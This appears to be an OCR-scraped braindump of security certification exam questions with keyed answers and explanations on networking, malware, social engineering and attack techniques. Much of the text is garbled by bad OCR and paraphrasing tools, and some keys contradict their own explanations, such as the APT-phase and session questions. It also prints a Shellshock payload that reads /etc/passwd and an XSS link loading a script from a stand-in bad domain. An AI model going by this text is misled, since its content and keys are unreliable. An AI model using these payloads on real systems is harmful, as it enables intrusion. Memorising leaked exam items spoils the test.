- (Topic 1)
What did the following commands determine?

: userZsid \earth guest
-1-5-21-343818358-78933
C:sidZuser S5 21 343818395
Name 13 Joe

Domain is EARTH

N ()

A

6058 1343024051 S50C

A. That the Joe account has a SID of 500

B. These commands demonstrate that the guest account has NOT been disabled
C. These commands demonstrate that the guest account has been disabled

D. That the true administrator is Joe

E. Issued alone, these commands prove nothing

Answer: D

NEW QUESTION 114

- (Topic 1)

Null sessions are un-authenticated connections (not using a username or password.) to an NT or 2000 system. Which TCP and UDP ports must you filter to check
null sessions on your network?

A. 137 and 139
B. 137 and 443
C. 139 and 443
D. 139 and 445

Answer: D

NEW QUESTION 119

- (Topic 1)

The collection of potentially actionable, overt, and publicly available information is known as
A. Open-source intelligence

B. Real intelligence
C. Social intelligence
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D. Human intelligence

Answer: A

NEW QUESTION 121

- (Topic 1)

Which address translation scheme would allow a single public IP address to always correspond to a single machine on an internal network, allowing "server
publishing"?

A. Overloading Port Address Translation
B. Dynamic Port Address Translation

C. Dynamic Network Address Translation
D. Static Network Address Translation

Answer: D

NEW QUESTION 122
- (Topic 1)
Which of the following is the BEST way to defend against network sniffing?

A. Using encryption protocols to secure network communications

B. Register all machines MAC Address in a Centralized Database

C. Use Static IP Address

D. Restrict Physical Access to Server Rooms hosting Critical Servers

Answer: A

Explanation:

https://en.wikipedia.org/wiki/Sniffing_attack

To prevent networks from sniffing attacks, organizations and individual users should keep away from applications using insecure protocols, like basic HTTP
authentication, File Transfer Protocol (FTP), and Telnet. Instead, secure protocols such as HTTPS, Secure File Transfer Protocol (SFTP), and Secure Shell (SSH)
should be preferred. In case there is a necessity for using any insecure protocol in any application, all the data transmission should be encrypted. If required, VPN
(Virtual Private Networks) can be used to provide secure access to users.

NOTE: | want to note that the wording "best option" is valid only for the EC-Council's exam since the other options will not help against sniffing or will only help
from some specific attack vectors.

The sniffing attack surface is huge. To protect against it, you will need to implement a complex of measures at all levels of abstraction and apply controls at the
physical, administrative, and technical levels. However, encryption is indeed the best option of all, even if your data is intercepted - an attacker cannot understand
it.

NEW QUESTION 123

- (Topic 1)

env x=??(){ :;};echo exploit?? bash —c ??cat/etc/passwd??

What is the Shellshock bash vulnerability attempting to do on a vulnerable Linux host?

A. Removes the passwd file

B. Changes all passwords in passwd
C. Add new user to the passwd file
D. Display passwd content to prompt

Answer: D

NEW QUESTION 127

- (Topic 1)

Suppose your company has just passed a security risk assessment exercise. The results display that the risk of the breach in the main company application is
50%. Security staff has taken some measures and

implemented the necessary controls. After that, another security risk assessment was performed showing that risk has decreased to 10%. The risk threshold for
the application is 20%. Which of the following risk decisions will be the best for the project in terms of its successful continuation with the most business profit?

A. Accept the risk

B. Introduce more controls to bring risk to 0%
C. Mitigate the risk

D. Avoid the risk

Answer: A
Explanation:
Risk Mitigation

Risk mitigation can be defined as taking steps to reduce adverse effects. There are four types of risk mitigation strategies that hold unique to Business Continuity
and Disaster Recovery. When mitigating risk, it??s important to develop a strategy that closely relates to and matches your company??s profile.
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FOUR TYPES OF RISK MITIGATION

@@ @

ACCEPT AVOID TRANSFER REDUCE

A picture containing diagram

Description automatically generated

Risk Acceptance

Risk acceptance does not reduce any effects; however, it is still considered a strategy. This strategy is a common option when the cost of other risk management
options such as avoidance or limitation may outweigh the cost of the risk itself. A company that doesn??t want to spend a lot of money on avoiding risks that do not
have a high possibility of occurring will use the risk acceptance strategy.

Risk Avoidance

Risk avoidance is the opposite of risk acceptance. It is the action that avoids any exposure to the risk whatsoever. 1t??s important to note that risk avoidance is
usually the most expensive of all risk mitigation options.

Risk Limitation

Risk limitation is the most common risk management strategy used by businesses. This strategy limits a company??s exposure by taking some action. Itis a
strategy employing a bit of risk acceptance and a bit of risk avoidance or an average of both. An example of risk limitation would be a company accepting that a
disk drive may fail and avoiding a long period of failure by having backups.

Risk Transference

Risk transference is the involvement of handing risk off to a willing third party. For example, numerous companies outsource certain operations such as customer
service, payroll

services, etc. This can be beneficial for a company if a transferred risk is not a core competency of that company. It can also be used so a company can focus
more on its core competencies.

NEW QUESTION 128

- (Topic 1)

A network administrator discovers several unknown files in the root directory of his Linux FTP server. One of the files is a tarball, two are shell script files, and the
third is a binary file is named "nc." The FTP server's access logs show that the anonymous user account logged in to the server, uploaded the files, and extracted
the contents of the tarball and ran the script using a function provided by the FTP server's software. The ??ps?? command shows that the ??nc?? file is running as
process, and the netstat command shows the ??nc?? process is listening on a network port.

What kind of vulnerability must be present to make this remote attack possible?

A. File system permissions
B. Privilege escalation

C. Directory traversal

D. Brute force login

Answer: A

Explanation:

File system permissions

Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory
containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level
permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will
also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing
process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

NEW QUESTION 132
- (Topic 1)
What is the proper response for a NULL scan if the port is open?

A. SYN
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B. ACK
C. FIN
D. PSH
E. RST
F. No response

Answer: F

NEW QUESTION 137
- (Topic 1)
Which of the following programs is usually targeted at Microsoft Office products?

A. Polymorphic virus
B. Multipart virus

C. Macro virus

D. Stealth virus

Answer: C

Explanation:

A macro virus is a virus that is written in a macro language: a programming language which is embedded inside a software application (e.g., word processors and
spreadsheet applications). Some applications, such as Microsoft Office, allow macro programs to be embedded in documents such that the macros are run
automatically when the document is opened, and this provides a distinct mechanism by which malicious computer instructions can spread. (Wikipedia)

NB: The virus Melissa is a well-known macro virus we could find attached to word documents.

NEW QUESTION 140

- (Topic 1)

A user on your Windows 2000 network has discovered that he can use LOphtcrack to sniff the SMB exchanges which carry user logons. The user is plugged into a
hub with 23 other systems.

However, he is unable to capture any logons though he knows that other users are logging in.

What do you think is the most likely reason behind this?

A. There is a NIDS present on that segment.

B. Kerberos is preventing it.

C. Windows logons cannot be sniffed.

D. LOphtcrack only sniffs logons to web servers.

Answer: B

NEW QUESTION 145
- (Topic 2)
This is an attack that takes advantage of a web site vulnerability in which the site displays content that includes un-sanitized user-provided data.

oMM N

<ahref="http://foobar.com/index.html?id=%3Cscript$20sxrc=%22

18 %$22%3E%3C/script%3E">See foobar</a>

-

Ll LR

http://baddomain.com/badscript.
What is this attack?

A. Cross-site-scripting attack
B. SQL Injection

C. URL Traversal attack

D. Buffer Overflow attack

Answer: A

NEW QUESTION 149

- (Topic 2)

Harry. a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques
such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on
the target system to establish an outbound connection. What is the APT lifecycle phase that Harry is currently executing?

A. Preparation
B. Cleanup

C. Persistence
D. initial intrusion

Answer: A

Explanation:

After the attacker
completes preparations, subsequent step is an effort to realize an edge within the target??s environment. a particularly common entry tactic is that the use of
spearphishing emails containing an internet link or attachment. Email links usually cause sites where the target??s browser and related software are subjected to
varied exploit techniques or where the APT actors plan to social engineer information from the victim which will be used later. If a successful exploit takes place, it
installs an initial malware payload on the victim??s computer. Figure 2 illustrates an example of a spearphishing email that contains an attachment. Attachments
are usually executable malware, a zipper or other archive containing malware, or a malicious Office or Adobe PDF (Portable Document Format) document that
exploits vulnerabilities within the victim??s applications to ultimately execute malware on the victim??s computer. Once the user has opened a malicious file using
vulnerable software, malware is executing on the target system. These phishing emails are often very convincing and difficult to differentiate from legitimate email
messages. Tactics to extend their believability include modifying legitimate documents from or associated with the organization. Documents are sometimes stolen
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from the organization or their collaborators during previous exploitation operations. Actors modify the documents by adding exploits and malicious code then send
them to the victims. Phishing emails are commonly sent through previously compromised email servers, email accounts at organizations associated with the target
or public email services. Emails also can be sent through mail relays with modified email headers to form the messages appear to possess originated from
legitimate sources. Exploitation of vulnerabilities on public- facing servers is another favorite technique of some APT groups. Though this will be accomplished
using exploits for known vulnerabilities, 0-days are often developed or purchased to be used in intrusions as required .

Gaining an edge within the target environment is that the primary goal of the initial intrusion. Once a system is exploited, the attacker usually places malware on
the compromised system and uses it as a jump point or proxy for further actions. Malware placed during the initial intrusion phase is usually an easy downloader,
basic Remote Access Trojan or an easy shell. Figure 3 illustrates a newly infected system initiating an outbound connection to notify the APT actor that the initial
intrusion attempt was successful which it??s able to accept commands.

NEW QUESTION 151

- (Topic 2)

The tools which receive event logs from servers, network equipment, and applications, and perform analysis and correlation on those logs, and can generate
alarms for security relevant issues, are known as what?

A. network Sniffer

B. Vulnerability Scanner

C. Intrusion prevention Server

D. Security incident and event Monitoring

Answer: D

NEW QUESTION 155

- (Topic 2)

Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that
can process API requests and handle various Docker objects, such as containers, volumes. Images, and networks. What is the component of the Docker
architecture used by Annie in the above scenario?

A. Docker client

B. Docker objects
C. Docker daemon
D. Docker registries

Answer: C

Explanation:

Docker uses a client-server design. The docker client talks to the docker daemon, that will the work of building, running, and distributing your docker containers.
The docker client and daemon will run on the same system, otherwise you will connect a docker consumer to a remote docker daemon. The docker consumer and
daemon communicate using a REST API, over OS sockets or a network interface.
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The docker daemon (dockerd) listens for docker API requests and manages docker objects like pictures, containers, networks, and volumes. A daemon may
communicate with other daemons to manage docker services.

NEW QUESTION 157

- (Topic 2)

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique.
Boney first obtains a valid session ID by logging into a service and later feeds the same session 10 to the target employee. The session ID links the target
employee to Boneys account page without disclosing any information to the victim. When the target employee clicks on the link, all the

sensitive payment details entered in a form are linked to Boneys account. What is the attack performed by Boney in the above scenario?

A. Session donation attack
B. Session fixation attack
C. Forbidden attack

D. CRIME attack
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Answer: A

Explanation:

In a session donation attack, the attacker donates their own session ID to the target user. In this attack, the attacker first obtains a valid session ID by logging into
a service and later feeds the same session ID to the target user. This session ID links a target user to the attacker's account page without disclosing any
information to the victim. When the target user clicks on the link and enters the details (username, password, payment details, etc.) in a form, the entered details
are linked to the attacker's account. To initiate this attack, the attacker can send their session ID using techniques such as cross-site cooking, an MITM attack, and
session fixation. A session donation attack involves the following steps.

NEW QUESTION 160

- (Topic 2)

John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously
guery the IDAP service for sensitive information such as usernames. addresses, departmental details, and server names to launch further attacks on the target
organization.

What is the tool employed by John to gather information from the IDAP service?

A. jxplorer

B. Zabasearch
C. EarthExplorer
D. Ike-scan

Answer: A

Explanation:

JXplorer could be a cross platform LDAP browser and editor. it??s a standards compliant general purpose LDAP client which will be used to search, scan and edit
any

commonplace LDAP directory, or any directory service with an LDAP or DSML interface. It is extremely flexible and can be extended and custom in a very number
of the way.

JXplorer is written in java, and also the source code and source code build system ar obtainable via svn or as a packaged build for users who wish to experiment
or any develop the program.

JX is is available in 2 versions; the free open source version under an OSI Apache two style licence, or within the IXWorkBench Enterprise bundle with inbuilt
reporting, administrative and security tools.

JX has been through a number of different versions since its creation in 1999; the foremost recent stable release is version 3.3.1, the August 2013 release.
JXplorer could be a absolutely useful LDAP consumer with advanced security integration and support for the harder and obscure elements of the LDAP protocol.
it??s been tested on Windows, Solaris, linux and OSX, packages are obtainable for HPUX, AlX, BSD and it should run on any java supporting OS.

NEW QUESTION 161

- (Topic 2)

Ethical hacker jane Smith is attempting to perform an SQL injection attach. She wants to test the response time of a true or false response and wants to use a
second command to determine whether the database will return true or false results for user IDs. which two SQL Injection types would give her the results she is
looking for?

A. Out of band and boolean-based
B. Time-based and union-based
C. union-based and error-based
D. Time-based and boolean-based

Answer: D

Explanation:

??Boolean based?? we mean that it is based on Boolean values, that is, true or false / true and false. AND Time-based SQL Injection is an inferential SQL
Injection technique that relies on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before
responding. The response time will indicate to

the attacker whether the result of the query is TRUE or FALSE.

Boolean-based (content-based) Blind SQLi

Boolean-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the application to return a
different result depending on whether the query returns a TRUE or FALSE result.

Depending on the result, the content within the HTTP response will change, or remain the same. This allows an attacker to infer if the payload used returned true
or false, even though no data from the database is returned. This attack is typically slow (especially on large databases) since an attacker would need to
enumerate a database, character by character.

Time-based Blind SQLI

Time-based SQL Injection is an inferential SQL Injection technigque that relies on sending an SQL query to the database which forces the database to wait for a
specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.
Depending on the result, an HTTP response will be returned with a delay, or returned immediately. This allows an attacker to infer if the payload used returned true
or false, even though no data from the database is returned. This attack is typically slow (especially on large databases) since an attacker would need to
enumerate a database character by character.

https://www.acunetix.com/websitesecurity/sql-injection2/

NEW QUESTION 162

- (Topic 2)

The Payment Card Industry Data Security Standard (PCI DSS) contains six different categories of control objectives. Each objective contains one or more
requirements, which must be followed in order to achieve compliance. Which of the following requirements would best fit under the objective, "Implement strong
access control measures"?

A. Regularly test security systems and processes.

B. Encrypt transmission of cardholder data across open, public networks.

C. Assign a unique ID to each person with computer access.

D. Use and regularly update anti-virus software on all systems commonly affected by malware.

Answer: C
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NEW QUESTION 165

- (Topic 2)

infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking
methodology?

A. Reconnaissance
B. Maintaining access
C. Scanning

D. Gaining access

Answer: D

Explanation:

This phase having the hacker uses different techniques and tools to realize maximum data from the system. they??re — Password cracking — Methods like
Bruteforce, dictionary attack, rule-based attack, rainbow table are used. Bruteforce is trying all combinations of the password. Dictionary attack is trying an
inventory of meaningful words until the password matches. Rainbow table takes the hash value of the password and compares with pre-computed hash values
until a match is discovered.s Password attacks

— Passive attacks like wire sniffing, replay attack. Active online attack like Trojans, keyloggers, hash injection, phishing. Offline attacks like pre-computed hash,
distributed network and rainbow. Non electronic attack like shoulder surfing, social engineering and dumpster diving.

NEW QUESTION 170

- (Topic 2)

George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial
systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data
infrequently at a low rate in a restricted area, within a range of 10-100 m. What is the short-range wireless communication technology George employed in the
above scenario?

A. MQTT

B. LPWAN
C. Zigbee
D. NB-loT

Answer: C

Explanation:

Zigbee could be a wireless technology developed as associate open international normal to deal with the unique desires of affordable, low-power wireless 10T
networks. The Zigbee normal operates on the IEEE 802.15.4 physical radio specification and operates in unauthorised bands as well as a pair of.4 GHz, 900 MHz
and 868 MHz.

The 802.15.4 specification upon that the Zigbee stack operates gained confirmation by the Institute of Electrical and physical science Engineers (IEEE) in 2003.
The specification could be a packet-based radio protocol supposed for affordable, battery-operated devices. The protocol permits devices to speak in an
exceedingly kind of network topologies and may have battery life lasting many years.

The Zigbee three.0 Protocol

The Zigbee protocol has been created and ratified by member corporations of the Zigbee Alliance.Over three hundred leading semiconductor makers, technology
corporations, OEMs and repair corporations comprise the Zigbee Alliance membership. The Zigbee protocol was designed to supply associate easy-to-use
wireless information answer characterised by secure, reliable wireless network architectures.

THE ZIGBEE ADVANTAGE

The Zigbee 3.0 protocol is intended to speak information through rip-roaring RF environments that area unit common in business and industrial applications.
Version 3.0 builds on the prevailing Zigbee normal however unifies the market-specific application profiles to permit all devices to be wirelessly connected within
the same network, no matter their market designation and performance. what is more, a Zigbee 3.0 certification theme ensures the ability of product from
completely different makers. Connecting Zigbee three.0 networks to the information science domain unveil observance and management from devices like
smartphones and tablets on a local area network or WAN, as well as the web, and brings verity net of Things to fruition.

Zigbee protocol options include:

? Support for multiple network topologies like point-to-point, point-to-multipoint and mesh networks

? Low duty cycle — provides long battery life

? Low latency

? Direct Sequence unfold Spectrum (DSSS)

? Up to 65,000 nodes per network

? 128-bit AES encryption for secure information connections

? Collision avoidance, retries and acknowledgements

This is another short-range communication protocol based on the IEEE 203.15.4 standard. Zig-Bee is used in devices that transfer data infrequently at a low rate in
a restricted area and within a range of 10—-100 m.

NEW QUESTION 173
- (Topic 2)
in the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall in?

A.3.0-6.9
B. 40-6.0
C. 4.0-6.9
D. 3.9-6.9

Answer: C

Explanation:
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CVSS v2.0 Ratings CVSS v3.0 Ratings
None 0.0
Low 0.0-3.9 Low 0.1-3.9
Medium 4.0-6.9 Medium 4.0-6.9
High 7.0-10.0 High 7.0-8.9
Critical 9.0-10.0

NEW QUESTION 176

- (Topic 2)

You went to great lengths to install all the necessary technologies to prevent hacking attacks, such as expensive firewalls, antivirus software, anti-spam systems
and intrusion detection/prevention tools in your company's network. You have configured the most secure policies and tightened every device on your network.
You are confident that hackers will never be able to gain access to your network with complex security system in place.

Your peer, Peter Smith who works at the same department disagrees with you.

He says even the best network security technologies cannot prevent hackers gaining access to the network because of presence of "weakest link" in the security
chain.

What is Peter Smith talking about?

A. Untrained staff or ignorant computer users who inadvertently become the weakest link in your security chain

B. "zero-day" exploits are the weakest link in the security chain since the IDS will not be able to detect these attacks

C. "Polymorphic viruses" are the weakest link in the security chain since the Anti-Virus scanners will not be able to detect these attacks

D. Continuous Spam e-mails cannot be blocked by your security system since spammers use different techniques to bypass the filters in your gateway

Answer: A

NEW QUESTION 177
- (Topic 2)
What is the purpose of DNS AAAA record?

A. Authorization, Authentication and Auditing record
B. Address prefix record

C. Address database record

D. IPv6 address resolution record

Answer: D

NEW QUESTION 178

- (Topic 2)

Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he
uses a tool to track the emails of the target and extracts information such as sender identities, mall servers, sender IP addresses, and sender locations from
different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API. Which of the following tools is used by Wilson in the
above scenario?

A. Factiva
B. Netcraft
C. infoga

D. Zoominfo

Answer: C

Explanation:

Infoga may be a tool gathering email accounts informations (ip,hostname,country,??) from completely different public supply (search engines, pgp key servers and
shodan) and check if email was leaked using haveibeenpwned.com API. is a really simple tool, however very effective for the first stages of a penetration test or
just to know the visibility of your company within the net.

NEW QUESTION 180

- (Topic 2)

Bob, your senior colleague, has sent you a mail regarding a deal with one of the clients. You are requested to accept the offer and you oblige. After 2 days. Bob
denies that he had ever sent a mail. What do you want to ""know"" to prove yourself that it was Bob who had send a mail?

A. Authentication

B. Confidentiality
C. Integrity

D. Non-Repudiation

Answer: D
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Explanation:

Non-repudiation is the assurance that someone cannot deny the validity of something.

Non-repudiation is a legal concept that is widely used in information security and refers to a service, which provides proof of the origin of data and the integrity of
the data. In other words, non-repudiation makes it very difficult to successfully deny who/where a message came from as well as the authenticity and integrity of
that message.

NEW QUESTION 185

- (Topic 2)

Every company needs a formal written document which spells out to employees precisely what they are allowed to use the company's systems for, what is
prohibited, and what will happen to them if they break the rules. Two printed copies of the policy should be given to every employee as soon as possible after they
join the organization. The employee should be asked to sign one copy, which should be safely filed by the company. No one should be allowed to use the
company's computer systems until they have signed the policy in acceptance of its terms.

What is this document called?

A. Information Audit Policy (IAP)

B. Information Security Policy (ISP)

C. Penetration Testing Policy (PTP)

D. Company Compliance Policy (CCP)

Answer: B

NEW QUESTION 189

- (Topic 2)

These hackers have limited or no training and know how to use only basic technigues or tools.
What kind of hackers are we talking about?

A. Black-Hat Hackers A
B. Script Kiddies

C. White-Hat Hackers
D. Gray-Hat Hacker

Answer: B

Explanation:
Script Kiddies: These hackers have limited or no training and know how to use only basictechniques or tools. Even then they may not understand any or all of
what they are doing.

NEW QUESTION 191

- (Topic 2)

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-2S6. MMAC-
SHA384, and ECDSA using a 384-bit elliptic curve. Which is this wireless security protocol?

A. WPA2 Personal
B. WPA3-Personal
C. WPA2-Enterprise
D. WPA3-Enterprise

Answer: D

Explanation:

Enterprise, governments, and financial institutions have greater security with WPA3-Enterprise. WPA3-Enterprise builds upon WPA2 and ensures the consistent
application of security protocol across the network. WPA3-Enterprise also offers an optional mode using 192-bit minimum-strength security protocols and
cryptographic tools to raised protect sensitive data:s Authenticated encryption: 256-bit Galois/Counter Mode Protocol (GCMP-256)« Key derivation and
confirmation: 384-bit Hashed Message Authentication Mode (HMAC) with Secure Hash Algorithm (HMAC-SHA384)« Key establishment and authentication: Elliptic
Curve Diffie-Hellman (ECDH) exchange and Elliptic Curve Digital Signature Algorithm (ECDSA) employing a 384-bit elliptic curves Robust management frame
protection: 256-bit Broadcast/Multicast Integrity Protocol Galois Message Authentication Code (BIP-GMAC-256)The 192-bit security mode offered by WPA3-
Enterprise ensures the proper combination of cryptographic tools are used and sets a uniform baseline of security within a WPA3 network.

It protects sensitive data using many cryptographic algorithms It provides authenticated encryption using GCMP-256 It uses HMAC-SHA-384 to generate
cryptographic keys It uses ECDSA-384 for exchanging keys

NEW QUESTION 193

- (Topic 2)

David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control
the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity
of vulnerabilities. Which phase of the vulnerability-management life cycle is David currently in?

A. verification

B. Risk assessment
C. Vulnerability scan
D. Remediation
Answer: D
Explanation:

Vulnerability-Management Life Cycle The vulnerability management life cycle is an important process that helps identify and remediate security weaknesses
before they can be exploited. 4.Remediation - applying fixes on vulnerable systems in order to reduce the impact and severity of vulnerabilities. (P.515/499)

NEW QUESTION 195
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- (Topic 2)
E-mail scams and mail fraud are regulated by which of the following?

18 U.S.

pa

. 1030 Fraud and Related activity in connection with Computers

18 U.S.

pa

. 1029 Fraud and Related activity in connection with Access Devices
.18 U.S.

. pa

I. 1362 Communication Lines, Stations, or Systems

J. 18 U.S.

K. pa

L. 2510 Wire and Electronic Communications Interception and Interception of Oral Communication

IOTMMUOwmy

Answer: A

NEW QUESTION 196

- (Topic 2)

Attacker Lauren has gained the credentials of an organization's internal server system, and she was often logging in during irregular times to monitor the network
activities. The organization was skeptical about the login times and appointed security professional Robert to determine the issue. Robert analyzed the
compromised device to find incident details such as the type of attack, its severity, target, impact, method of propagation, and vulnerabilities exploited. What is the
incident handling and response (IH&R) phase, in which Robert has determined these issues?

A. Preparation

B. Eradication

C. Incident recording and assignment
D. Incident triage

Answer: D

Explanation:

Incident Handling and Response Incident handling and response (IH&R) is the process of taking organized and careful steps when reacting to a security incident
or cyberattack. Steps involved in the IH&R process: 3.Incident Triage - The IH&R team further analyzes the compromised device to find incident details such as
the type of attack, its severity, target, impact, and method of propagation, and any vulnerabilities it exploited. (P.84/68)

NEW QUESTION 199
- (Topic 2)
What is the main security service a cryptographic hash provides?

A. Integrity and ease of computation

B. Message authentication and collision resistance
C. Integrity and collision resistance

D. Integrity and computational in-feasibility

Answer: D

NEW QUESTION 201
- (Topic 2)
In the field of cryptanalysis, what is meant by a ??rubber-hose" attack?

A. Attempting to decrypt cipher text by making logical assumptions about the contents of the original plain text.
B. Extraction of cryptographic secrets through coercion or torture.

C. Forcing the targeted key stream through a hardware-accelerated device such as an ASIC.

D. A backdoor placed into a cryptographic algorithm by its creator.

Answer: B

NEW QUESTION 202
- (Topic 2)
What do Trinoo, TFN2k, WinTrinoo, T-Sight, and Stracheldraht have in common?

A. All are hacking tools developed by the legion of doom

B. All are tools that can be used not only by hackers, but also security personnel
C. All are DDOS tools

D. All are tools that are only effective against Windows

E. All are tools that are only effective against Linux

Answer: C

NEW QUESTION 205

- (Topic 2)

Bob is going to perform an active session hijack against Brownies Inc. He has found a target that allows session oriented connections (Telnet) and performs the
sequence prediction on the target operating system. He manages to find an active session due to the high level of traffic on the network. What is Bob supposed to

do next?

A. Take over the session
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B. Reverse sequence prediction
C. Guess the sequence numbers
D. Take one of the parties offline

Answer: C

NEW QUESTION 208

- (Topic 2)

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the
number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested
sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then
used to collect and pass critical Information to Johnson's machine. What is the social engineering technique Steve employed in the above scenario?

A. Quid pro quo
B. Diversion theft
C. Elicitation

D. Phishing

Answer: A

Explanation:

https://www.eccouncil.org/what-is-social-engineering/

This Social Engineering scam involves an exchange of information that can benefit both the victim and the trickster. Scammers would make the prey believe that a
fair exchange will be present between both sides, but in reality, only the fraudster stands to benefit, leaving the victim hanging on to nothing. An example of a Quid
Pro Quo is a scammer pretending to be an IT support technician. The con artist asks for the login credentials of the company??s computer saying that the
company is going to receive technical support in return. Once the victim has provided the credentials, the scammer now has control over the company??s
computer and may possibly load malware or steal personal information that can be a

motive to commit identity theft.

"A quid pro quo attack (aka something for something?? attack) is a variant of baiting. Instead of baiting a target with the promise of a good, a quid pro quo attack
promises a service or a benefit based on the execution of a specific action." https://resources.infosecinstitute.com/topic/common-social-engineering-
attacks/#:~:text=A%20quid%20pro%20quo%20attack,execution%200f%20a%20specific%2 Oaction.

NEW QUESTION 212

- (Topic 2)

A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for
help because he suspects that he may have installed a trojan on his computer.

what tests would you perform to determine whether his computer Is Infected?

A. Use ExifTool and check for malicious content.

B. You do not check; rather, you immediately restore a previous snapshot of the operating system.
C. Upload the file to VirusTotal.

D. Use netstat and check for outgoing connections to strange IP addresses or domains.

Answer: D

NEW QUESTION 215

- (Topic 2)

An organization is performing a vulnerability assessment tor mitigating threats. James, a pen tester, scanned the organization by building an inventory of the
protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server or a database server. After
identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests. What is the type of vulnerability assessment
solution that James employed in the above scenario?

A. Product-based solutions
B. Tree-based assessment
C. Service-based solutions
D. inference-based assessment

Answer: D

Explanation:

In an inference-based assessment, scanning starts by building an inventory of the protocols found on the machine. After finding a protocol, the scanning process
starts to detect which ports are attached to services, such as an email server, web server, or database server. After finding services, it selects vulnerabilities on
each machine and starts to execute only those relevant tests.

NEW QUESTION 220

- (Topic 2)

Matthew, a black hat, has managed to open a meterpreter session to one of the kiosk machines in Evil Corp??s lobby. He checks his current SID, which is
S-1-5-21-1223352397- 1872883824-861252104-501. What needs to happen before Matthew has full administrator access?

A. He must perform privilege escalation.

B. He needs to disable antivirus protection.

C. He needs to gain physical access.

D. He already has admin privileges, as shown by the ??501?7? at the end of the SID.
Answer: A

NEW QUESTION 221
- (Topic 2)
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During the process of encryption and decryption, what keys are shared?

A. Private keys

B. User passwords

C. Public keys

D. Public and private keys

Answer: C

Explanation:

https://en.wikipedia.org/wiki/Public-key_cryptography

Public-key cryptography, or asymmetric cryptography, is a cryptographic system that uses pairs of keys: public keys (which may be known to others), and private
keys (which may never be known by any except the owner). The generation of such key pairs depends on cryptographic algorithms which are based on
mathematical problems termed one-way functions. Effective security requires keeping the private key private; the public key can be openly distributed without
compromising security.

In such a system, any person can encrypt a message using the intended receiver's public key, but that encrypted message can only be decrypted with the
receiver's private key. This allows, for instance, a server program to generate a cryptographic key intended for a suitable symmetric-key cryptography, then to use
a client's openly-shared public key to encrypt that newly generated symmetric key. The server can then send this encrypted symmetric key over an insecure
channel to the client; only the client can decrypt it using the client's private key (which pairs with the public key used by the server to encrypt the

message). With the client and server both having the same symmetric key, they can safely use symmetric key encryption (likely much faster) to communicate over
otherwise-insecure channels. This scheme has the advantage of not having to manually pre-share symmetric keys (a fundamentally difficult problem) while gaining
the higher data throughput advantage of symmetric-key cryptography.

With public-key cryptography, robust authentication is also possible. A sender can combine a message with a private key to create a short digital signature on the
message. Anyone with the sender's corresponding public key can combine that message with a claimed digital signature; if the signature matches the message,
the origin of the message is verified (i.e., it must have been made by the owner of the corresponding private key). Public key algorithms are fundamental security
primitives in modern cryptosystems, including applications and protocols which offer assurance of the confidentiality, authenticity and non-repudiability of electronic
communications and data storage. They underpin numerous Internet standards, such as Transport Layer Security (TLS), S/IMIME, PGP, and GPG. Some public
key algorithms provide key distribution and secrecy (e.g., Diffie—Hellman key exchange), some provide digital signatures (e.g., Digital Signature Algorithm), and
some provide both (e.g., RSA). Compared to symmetric encryption, asymmetric encryption is rather slower than good symmetric encryption, too slow for many
purposes. Today's cryptosystems (such as TLS, Secure Shell) use both symmetric encryption and asymmetric encryption.

NEW QUESTION 224

- (Topic 2)

To invisibly maintain access to a machine, an attacker utilizes a toolkit that sits undetected In the core components of the operating system. What is this type of
rootkit an example of?

A. Mypervisor rootkit
B. Kernel toolkit

C. Hardware rootkit
D. Firmware rootkit

Answer: B

Explanation:

Kernel-mode rootkits run with the best operating system privileges (Ring 0) by adding code or replacement parts of the core operating system, as well as each the
kernel and associated device drivers. Most operative systems support kernel-mode device drivers, that execute with a similar privileges because the software
itself. As such, several kernel-mode rootkits square measure developed as device drivers or loadable modules,
like loadable kernel modules in Linux or device drivers in Microsoft Windows. This category of rootkit has unrestricted security access, however is tougher to jot
down. The quality makes bugs common, and any bugs in code operative at the kernel level could seriously impact system stability, resulting in discovery of the
rootkit. one amongst the primary wide familiar kernel rootkits was developed for Windows NT four.0 and discharged in Phrack magazine in 1999 by Greg Hoglund.
Kernel rootkits is particularly tough to observe and take away as a result of they operate at a similar security level because the software itself, and square measure
therefore able to intercept or subvert the foremost sure software operations. Any package, like antivirus package, running on the compromised system is equally
vulnerable. during this scenario, no a part of the system is sure.

NEW QUESTION 227

- (Topic 2)

Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries,
and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier
